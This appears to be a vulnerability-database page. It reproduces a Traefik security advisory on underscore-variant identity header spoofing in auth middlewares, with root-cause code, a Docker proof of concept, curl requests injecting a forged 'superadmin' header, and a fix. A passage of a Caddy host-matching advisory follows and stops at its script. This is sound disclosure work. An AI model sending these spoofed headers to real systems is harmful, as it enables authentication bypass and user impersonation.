There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. X-Auth-User) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. X_Auth_User), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new allowHeadersWithUnderscores: false entry point option, which strips all headers with underscores in their names before routing.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.51
  • https://github.com/traefik/traefik/releases/tag/v3.6.22
  • https://github.com/traefik/traefik/releases/tag/v3.7.6

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description # Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth ## Summary The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.). However, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del("X-Auth-User")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value. This is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim: > "When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials." The same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: "X-Auth-User"` config and reproduced the bypass with a single `curl -H "X_Auth_User: superadmin" ...` request alongside valid BasicAuth credentials. The defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`: 1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField` 2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField` 3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback 4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens. The fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write. ## Affected versions - `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture. The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants). ## Root cause In `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:
if b.headerField != "" {
    // TODO Deprecated we should add the header with canonical key.
    req.Header.Del(b.headerField)
    req.Header[b.headerField] = []string{user}
}
The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary. `pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared. The maintainer's gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`:
func isManagedXHeader(key string) bool {
    if len(key) == 0 || key[0] != 'X' { return false }
    if _, ok := XHeadersSet[key]; ok { return true }
    if strings.IndexByte(key, '_') < 0 { return false }
    canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "_", "-"))
    _, ok := XHeadersSet[canonical]
    return ok
}
This treats `_` ↔ `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive. ## Proof of concept Verified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com//traefik-ht1a-poc; commands below are verbatim. ### Setup
# docker-compose.yml
services:
  traefik:
    image: traefik:v3.6.14
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:80
    ports:
      - "8080:80"
    volumes:
      - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro
  echo:
    image: mendhak/http-https-echo:36
    environment:
      - HTTP_PORT=8888
# traefik/dynamic.yml — canonical headerField, recommended operator config
http:
  routers:
    protected:
      rule: "PathPrefix(`/`)"
      service: echo
      middlewares: [basic-auth]
  services:
    echo:
      loadBalancer:
        servers: [{url: "http://echo:8888"}]
  middlewares:
    basic-auth:
      basicAuth:
        users:
          - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC'   # alice:secret123
        headerField: "X-Auth-User"
`docker compose up -d`. ### Test 1 (control — CVE-2026-33433 fix works for canonical case)
$ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/
{
  ...
  "x-auth-user": "alice",
  ...
}
The attacker's canonical `X-Auth-User: superadmin` was correctly stripped by Traefik's `Del`; the backend receives only Traefik's authenticated-user writeback `alice`. ### Test 2 (HT-1A bypass — underscore variant survives)
$ curl -s -u alice:secret123 -H "X_Auth_User: superadmin" http://localhost:8080/
{
  ...
  "x-auth-user": "alice",
  "x_auth_user": "superadmin",
  ...
}
The underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del("X-Auth-User")` having executed. The backend sees both forms. ### Test 3 (double-send — same result)
$ curl -s -u alice:secret123 \
    -H "X-Auth-User: superadmin" \
    -H "X_Auth_User: superadmin" \
    http://localhost:8080/
{
  ...
  "x-auth-user": "alice",       # Traefik's writeback
  "x_auth_user": "superadmin",  # attacker's underscore — survived Del
  ...
}
The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded. ### Backend impact The PoC's echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers["x-auth-user"]` sees `alice`. Application code reading `req.headers["x_auth_user"]` sees `superadmin`. For backends that normalize `_` ↔ `-` equivalently — meaning the attacker's value wins: - **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 §4.1.18 — header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize. - **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input. ## Severity I propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials). **CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope. **CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary. CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051 ## Suggested fix Two equivalent approaches: **1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace:
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
with:
canonical := http.CanonicalHeaderKey(b.headerField)
// Strip canonical AND underscore-variant of the canonical key.
for key := range req.Header {
    if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "_", "-"), canonical) {
        delete(req.Header, key)
    }
}
req.Header.Set(canonical, user)  // canonical-key write
This pairs the headerField primitive with the same `_` ↔ `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*. **2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift. Either approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`. ## Why this is a Pattern-8 sibling, not a new CVE class The combination of: 1. CVE-2026-33433's fix scope (case-canonicalization for `headerField`) 2. CVE-2026-39858's fix scope (underscore-variant for `XHeadersSet`) 3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites) establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go's canonicalization semantics) reveals the gap. I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family. ## Credit Matteo Panzeri (GitHub `matte1782`). CVE credit requested. ## AI-assistance disclosure Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.50"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.51"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.21"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:53:53Z",
    "nvd_published_at": "2026-07-06T21:16:56Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s BasicAuth, DigestAuth, and ForwardAuth\nmiddlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers\n(e.g. `X-Auth-User`) before writing Traefik\u0027s own value, but did not account for\nunderscore-variant header names (e.g. `X_Auth_User`), which many backends normalize\nidentically to the dashed form. An attacker able to reach a protected route could inject\nan underscore-variant header that survives Traefik\u0027s stripping and reaches the backend\nalongside \u2014 or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of\n\u2014 the value Traefik intended to set, spoofing identity or authorization context. This is\nfixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which\nstrips all headers with underscores in their names before routing.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.51\n- https://github.com/traefik/traefik/releases/tag/v3.6.22\n- https://github.com/traefik/traefik/releases/tag/v3.7.6\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth\n\n## Summary\n\nThe fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, \"BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField\", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go\u0027s `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator \u2014 so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.).\n\nHowever, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del(\"X-Auth-User\")` intact and are forwarded to the backend alongside Traefik\u0027s own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` \u2194 `-` equivalently or expose both forms to application code that may read the attacker\u0027s value.\n\nThis is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, \"Forwarded alias spoofing pre-auth decision bypass\"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim:\n\n\u003e \"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context \u2014 such as a trusted scheme or host \u2014 through the alias headers and bypass authentication on protected routes without valid credentials.\"\n\nThe same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: \"X-Auth-User\"` config and reproduced the bypass with a single `curl -H \"X_Auth_User: superadmin\" ...` request alongside valid BasicAuth credentials.\n\nThe defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`:\n\n1. `pkg/middlewares/auth/basic_auth.go:101-105` \u2014 BasicAuth `headerField`\n2. `pkg/middlewares/auth/digest_auth.go:99-103` \u2014 DigestAuth `headerField`\n3. `pkg/middlewares/auth/forward.go:304-310` \u2014 ForwardAuth `authResponseHeaders` per-name writeback\n4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` \u2014 Ingress-NGINX snippet `authResponseHeaders` per-name writeback\n\nThe ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.\n\nThe fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write.\n\n## Affected versions\n\n- `traefik` v3.6.x \u2264 3.6.14, v3.7.x \u2264 3.7.0-rc.2, v2.11.x \u2264 2.11.43, and all earlier versions sharing the same auth middleware architecture.\n\nThe defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants).\n\n## Root cause\n\nIn `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:\n\n```go\nif b.headerField != \"\" {\n    // TODO Deprecated we should add the header with canonical key.\n    req.Header.Del(b.headerField)\n    req.Header[b.headerField] = []string{user}\n}\n```\n\nThe TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.\n\n`pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.\n\nThe maintainer\u0027s gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`:\n\n```go\nfunc isManagedXHeader(key string) bool {\n    if len(key) == 0 || key[0] != \u0027X\u0027 { return false }\n    if _, ok := XHeadersSet[key]; ok { return true }\n    if strings.IndexByte(key, \u0027_\u0027) \u003c 0 { return false }\n    canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, \"_\", \"-\"))\n    _, ok := XHeadersSet[canonical]\n    return ok\n}\n```\n\nThis treats `_` \u2194 `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.\n\n## Proof of concept\n\nVerified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/\u003cattacker-repo\u003e/traefik-ht1a-poc; commands below are verbatim.\n\n### Setup\n\n```yaml\n# docker-compose.yml\nservices:\n  traefik:\n    image: traefik:v3.6.14\n    command:\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --entrypoints.web.address=:80\n    ports:\n      - \"8080:80\"\n    volumes:\n      - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro\n  echo:\n    image: mendhak/http-https-echo:36\n    environment:\n      - HTTP_PORT=8888\n```\n\n```yaml\n# traefik/dynamic.yml \u2014 canonical headerField, recommended operator config\nhttp:\n  routers:\n    protected:\n      rule: \"PathPrefix(`/`)\"\n      service: echo\n      middlewares: [basic-auth]\n  services:\n    echo:\n      loadBalancer:\n        servers: [{url: \"http://echo:8888\"}]\n  middlewares:\n    basic-auth:\n      basicAuth:\n        users:\n          - \u0027alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC\u0027   # alice:secret123\n        headerField: \"X-Auth-User\"\n```\n\n`docker compose up -d`.\n\n### Test 1 (control \u2014 CVE-2026-33433 fix works for canonical case)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X-Auth-User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  ...\n}\n```\n\nThe attacker\u0027s canonical `X-Auth-User: superadmin` was correctly stripped by Traefik\u0027s `Del`; the backend receives only Traefik\u0027s authenticated-user writeback `alice`.\n\n### Test 2 (HT-1A bypass \u2014 underscore variant survives)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X_Auth_User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  \"x_auth_user\": \"superadmin\",\n  ...\n}\n```\n\nThe underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del(\"X-Auth-User\")` having executed. The backend sees both forms.\n\n### Test 3 (double-send \u2014 same result)\n\n```bash\n$ curl -s -u alice:secret123 \\\n    -H \"X-Auth-User: superadmin\" \\\n    -H \"X_Auth_User: superadmin\" \\\n    http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",       # Traefik\u0027s writeback\n  \"x_auth_user\": \"superadmin\",  # attacker\u0027s underscore \u2014 survived Del\n  ...\n}\n```\n\nThe canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.\n\n### Backend impact\n\nThe PoC\u0027s echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers[\"x-auth-user\"]` sees `alice`. Application code reading `req.headers[\"x_auth_user\"]` sees `superadmin`.\n\nFor backends that normalize `_` \u2194 `-` equivalently \u2014 meaning the attacker\u0027s value wins:\n\n- **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 \u00a74.1.18 \u2014 header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server\u0027s iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC\u0027s PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.\n- **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.\n- **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize.\n- **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.\n\n## Severity\n\nI propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials).\n\n**CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` \u2014 one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope.\n\n**CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` \u2014 parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.\n\nCWEs:\n- CWE-290 (Authentication Bypass by Spoofing)\n- CWE-178 (Improper Handling of Case Sensitivity) \u2014 analogous to CVE-2026-29054\n- CWE-345 (Insufficient Verification of Data Authenticity) \u2014 same as CVE-2026-35051\n\n## Suggested fix\n\nTwo equivalent approaches:\n\n**1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace:\n\n```go\nreq.Header.Del(b.headerField)\nreq.Header[b.headerField] = []string{user}\n```\n\nwith:\n\n```go\ncanonical := http.CanonicalHeaderKey(b.headerField)\n// Strip canonical AND underscore-variant of the canonical key.\nfor key := range req.Header {\n    if key == canonical || strings.EqualFold(strings.ReplaceAll(key, \"_\", \"-\"), canonical) {\n        delete(req.Header, key)\n    }\n}\nreq.Header.Set(canonical, user)  // canonical-key write\n```\n\nThis pairs the headerField primitive with the same `_` \u2194 `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*.\n\n**2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.\n\nEither approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`.\n\n## Why this is a Pattern-8 sibling, not a new CVE class\n\nThe combination of:\n\n1. CVE-2026-33433\u0027s fix scope (case-canonicalization for `headerField`)\n2. CVE-2026-39858\u0027s fix scope (underscore-variant for `XHeadersSet`)\n3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites)\n\nestablishes that the maintainer accepts the threat model and has architectural primitives to fix it \u2014 but did not cross the two cohorts. The \"primitive depth-audit\" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go\u0027s canonicalization semantics) reveals the gap.\n\nI confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.\n\n## Credit\n\nMatteo Panzeri (GitHub `matte1782`). CVE credit requested.\n\n## AI-assistance disclosure\n\nStatic analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.\n\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-x677-9fxg-v5c5",
  "modified": "2026-08-06T16:53:53Z",
  "published": "2026-08-06T16:53:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/108a5264473a2cbc8f12d6d691a3c6553cdf2c1b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth"
}

GHSA-X76F-JF84-RQJ8

Vulnerability from github – Published: 2026-02-24 20:34 – Updated: 2026-02-27 19:53
VLAI
Summary
Caddy: MatchHost becomes case-sensitive for large host lists (>100), enabling host-based route/auth bypass
Details

Summary

Caddy's HTTP host request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the Host header.

Details

In Caddy v2.10.2, the MatchHost matcher states it matches the Host value case-insensitively:

  • modules/caddyhttp/matchers.go: type MatchHost matches requests by the Host value (case-insensitive).

However, in MatchHost.MatchWithError, when the host list is considered "large" (len(m) > 100):

  • MatchHost.large() returns true for len(m) > 100 (modules/caddyhttp/matchers.go, around the large() helper).
  • The matcher takes a "fast path" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (m[pos] == reqHost).
  • After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the strings.EqualFold(reqHost, host) check from ever running.

Net effect: with a host list length of 101 or more, changing only the casing of the incoming Host header can cause the host matcher to not match when it should.

Suggested fix

  • Normalize exact hostnames to lower-case during MatchHost.Provision (at least for non-fuzzy entries).
  • Normalize the incoming request host (reqHost) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.

Reproduced on: - Stable release: v2.10.2 -- this is the release I reference in the repro below. - Dev build: v2.11.0-beta.2. - Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC

Prereqs: - bash, curl - A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDY_BIN in the script if needed)

Script (Click to expand)
#!/usr/bin/env bash
set -euo pipefail

CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"

TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"

cleanup() {
  if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
